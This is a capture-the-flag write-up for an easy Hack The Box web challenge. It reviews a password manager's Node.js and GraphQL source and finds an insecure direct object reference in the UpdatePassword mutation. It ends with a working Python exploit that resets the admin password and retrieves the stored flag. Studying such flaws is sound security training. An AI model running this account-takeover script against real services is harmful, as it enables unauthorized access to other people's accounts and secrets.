Category: Web
Difficulty: Easy
Description: Pandora discovered the presence of a mole within the ministry. To proceed with caution, she must obtain the master control password for the ministry, which is stored in a password manager. Can you hack into the password manager?
Address: 104.248.169.232:31918
Attachments: web_passman.zip
If we visit the site, we will see a login page that asks us for username and password:
We can also spot a button for creating new accounts… but before moving on, since we have also the source code of the sie it is better to take a look. From a quick look at the sources we can see that we are dealing with a node web application. From the file web_passman/entrypoint.sh
we can see that a mysql database is created together with some tables, which are then filled with some data:
CREATE TABLE passman.users (
id INT NOT NULL AUTO_INCREMENT,
username VARCHAR(256) UNIQUE NOT NULL,
password VARCHAR(256) NOT NULL,
email VARCHAR(256) UNIQUE NOT NULL,
is_admin INT NOT NULL DEFAULT 0,
PRIMARY KEY (id)
);
INSERT INTO passman.users (username, password, email, is_admin)
VALUES
('admin', '$(genPass)', 'admin@passman.htb', 1),
('louisbarnett', '$(genPass)', 'louis_p_barnett@mailinator.com', 0),
('ninaviola', '$(genPass)', 'ninaviola57331@mailinator.com', 0),
('alvinfisher', '$(genPass)', 'alvinfisher1979@mailinator.com', 0);
CREATE TABLE IF NOT EXISTS passman.saved_passwords (
id INT NOT NULL AUTO_INCREMENT,
owner VARCHAR(256) NOT NULL,
type VARCHAR(256) NOT NULL,
address VARCHAR(256) NOT NULL,
username VARCHAR(256) NOT NULL,
password VARCHAR(256) NOT NULL,
note VARCHAR(256) NOT NULL,
PRIMARY KEY (id)
);
INSERT INTO passman.saved_passwords (owner, type, address, username, password, note)
VALUES
('admin', 'Web', 'igms.htb', 'admin', 'HTB{f4k3_fl4g_f0r_t3st1ng}', 'password'),
....
....
....
So now we know where the flag is stored, and we also know that the passwords of each user are generated using the function genPass
:
function genPass() {
echo -n $RANDOM | md5sum | head -c 32
}
Unfortunatelly, it generates passwords from a random value, so we have to find something in the code.
From the file web_passman/challenge/database.js
we can see that the website interact with the passman.saved_passwords
SQL table through the getPhraseList
method of the Database
class:
async getPhraseList(username) {
return new Promise(async (resolve, reject) => {
let stmt = `SELECT * FROM saved_passwords WHERE owner = ?`;
this.connection.query(
stmt,
[
String(username)
],
(err, result) => {
if(err)
reject(err)
try {
resolve(JSON.parse(JSON.stringify(result)))
}
catch (e) {
reject(e)
}
}
)
});
}
Since the site uses parameterized queries we cannot perform any SQL injection… but we can also notice that another function provided is one that allows us to change password:
async updatePassword(username, password) {
return new Promise(async (resolve, reject) => {
let stmt = `UPDATE users SET password = ? WHERE username = ?`;
this.connection.query(
stmt,
[
String(password),
String(username)
],
(err, _) => {
if(err)
reject(err)
resolve();
}
)
});
}
By looking at other files we can also see that the app is using GraphQL and its correspondent queries and mutations are specified in the file web_passman/challenge/helpers/GraphqlHelper.js
. The only query defined is the one used to query the phrases of a user using the getPhraseList
method seen earlier:
const queryType = new GraphQLObjectType({
name: 'Query',
fields: {
getPhraseList: {
type: new GraphQLList(PhraseSchema),
resolve: async (root, args, request) => {
return new Promise((resolve, reject) => {
if (!request.user) return reject(new GraphQLError('Authentication required!'));
db.getPhraseList(request.user.username)
.then(rows => resolve(rows))
.catch(err => reject(new GraphQLError(err)))
});
}
}
}
});
Unfortunately we need to be logged in, but we can see that after we are logged in we can retrieve the list of the username passed together with the request. Now, how can we interact with GraphQL? If we take a look at the file web_passman/challenge/routes/index.js
we can see that there is an endpoint called /graphql
:
router.use('/graphql', AuthMiddleware, graphqlHTTP({
schema: GraphqlSchema,
graphiql: false
}));
From the code above we can see that this endpoint make use of a middleware, which is defined in the file web_passman/challenge//middleware/AuthMiddleware.js
. From the code present in that file we can see how the username
attribute is set on the request
object used by GraphQL to get the list of phrases:
....
....
return JWTHelper.verify(req.cookies.session)
.then(user => {
req.user = user;
next();
})
.catch((e) => {
if (req.baseUrl === '/graphql') return next();
res.redirect('/logout');
});
....
....
So that attribute’s value isn’t under our control unless we are able to login with the credentials of the right user (in this case admin
). But we have to remember that there is also a function that can update passwords, so let’s take a look at its GraphQL correspondent code:
const mutationType = new GraphQLObjectType({
name: 'Mutation',
fields: {
....
....
UpdatePassword: {
type: ResponseType,
args: {
username: { type: new GraphQLNonNull(GraphQLString) },
password: { type: new GraphQLNonNull(GraphQLString) }
},
resolve: async (root, args, request) => {
return new Promise((resolve, reject) => {
if (!request.user) return reject(new GraphQLError('Authentication required!'));
db.updatePassword(args.username, args.password)
.then(() => resolve(response("Password updated successfully!")))
.catch(err => reject(new GraphQLError(err)));
});
}
},
....
....
}
});
We can see that also here we need to be logged in, but this time the arguments passed to the function that operate on the MySQL database are taken from the arguments of the GraphQL mutation instead of being specified by the middleware. So, in order to retrieve the flag we can do the following:
- Create a new account (and we have seen that it can be done from the link on the login page).
- Login with the newly created account.
- Make a POST request to the
/graphql
endpoint and call theUpdatePassword
mutation to change the password of theadmin
user. - Logout and then login as the
admin
user with the new password that we have set before. - Make a POST request to the
/graphql
endpoint and call thegetPhraseList
query to retrieve all the phrases of theadmin
account and get the flag.
In order to automatize the process I created the following python script:
#!/usr/bin/env python3
import requests
import json
ADDRESS = "104.248.169.232:31918"
TMP_USER_CREDENTIALS = {
"email": "test@mail.com",
"username": "test",
"password": "test"
}
TARGET_USERNAME = "admin"
TARGET_NEW_PASSWORD = "you_have_been_hacked"
def main():
graphql_endpoint = f"http://{ADDRESS}/graphql"
s = requests.Session()
s.post(graphql_endpoint, json={
"query": 'mutation($email: String!, $username: String!, $password: String!) { RegisterUser(email: $email, username: $username, password: $password) { message } }',
"variables": {
'email': TMP_USER_CREDENTIALS["email"],
'username': TMP_USER_CREDENTIALS["username"],
'password': TMP_USER_CREDENTIALS["password"]
}
}, headers={
'Content-Type': 'application/json'
})
resp = s.post(graphql_endpoint, json={
"query": 'mutation($username: String!, $password: String!) { LoginUser(username: $username, password: $password) { message, token } }',
"variables": {
'username': TMP_USER_CREDENTIALS["username"],
'password': TMP_USER_CREDENTIALS["password"]
}
}, headers={
'Content-Type': 'application/json'
})
s.cookies["session"] = json.loads(resp.text)["data"]["LoginUser"]["token"]
resp = s.post(graphql_endpoint, json={
"query": 'mutation($username: String!, $password: String!) { UpdatePassword(username: $username, password: $password) { message, token } }',
"variables": {
'username': TARGET_USERNAME,
'password': TARGET_NEW_PASSWORD
}
}
, headers={
'Content-Type': 'application/json'
})
resp = s.post(graphql_endpoint, json={
"query": 'mutation($username: String!, $password: String!) { LoginUser(username: $username, password: $password) { message, token } }',
"variables": {
'username': TARGET_USERNAME,
'password': TARGET_NEW_PASSWORD
}
}, headers={
'Content-Type': 'application/json'
})
s.cookies["session"] = json.loads(resp.text)["data"]["LoginUser"]["token"]
resp = s.post(graphql_endpoint, json={
"query": '{ getPhraseList { id, owner, type, address, username, password, note } }'
}, headers={
'Content-Type': 'application/json'
})
print(json.loads(resp.text)["data"]["getPhraseList"][0]["password"])
if __name__ == "__main__":
main()
And now if we execute it:
$ chmod +x exploit.py
$ ./exploit
HTB{1d0r5_4r3_s1mpl3_4nd_1mp4ctful!!}